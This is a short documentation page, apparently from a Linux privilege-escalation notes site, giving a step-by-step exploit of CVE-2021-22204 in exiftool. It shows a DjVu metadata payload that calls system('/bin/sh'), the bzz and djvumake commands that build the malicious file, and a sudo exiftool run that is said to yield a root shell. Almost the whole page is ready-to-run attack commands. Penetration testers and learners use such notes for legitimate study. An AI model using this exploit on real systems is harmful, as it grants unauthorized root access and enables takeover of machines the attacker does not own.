> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-exiftool-privilege-escalation.md).

# Sudo Exiftool Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-exiftool-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```sh
(root) NOPASSWD: /usr/local/bin/exiftool
Copied!
```

If we can execute **"exiftool"** command as root, we can gain access to privileges.

<br>

### [Arbitrary Code Execution (CVE-2021-22204) version 7.44+](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-exiftool-privilege-escalation/#arbitrary-code-execution-\(cve-2021-22204\)-version-7.44%2B) <a href="#arbitrary-code-execution-cve-2021-22204-version-7.44-2b" id="arbitrary-code-execution-cve-2021-22204-version-7.44-2b"></a>

Reference: <https://vk9-sec.com/exiftool-12-23-arbitrary-code-execution-privilege-escalation-cve-2021-22204/>

Check the exiftool version.\
If the exiftool version is later than **7.44**, we can execute arbitrary code.

```bash
exiftool -ver
Copied!
```

#### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-exiftool-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

In local machine, create the payload in a file named **“exploit”**.

```bash
(metadata "\c${system('/bin/sh')};")
Copied!
```

Next, compress the file.

```bash
bzz exploit exploit.bzz
Copied!
```

Then create the DjVu file using the compressed file.

```bash
sudo apt install -y djvulibre-bin
# INFO: Create the initial information chunk.
# BGjp: Create a JPEG background chunk.
# ANTz: Write the compressed annotation chunk with the input file.
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=exploit.bzz
Copied!
```

Now we have **“exploit.djvu”** file.\
Trasfer the file to the target machine and run exiftool as root given the DjVufile.

```bash
sudo /usr/local/bin/exiftool exploit.djvu
Copied!
```

We should get a root shell.
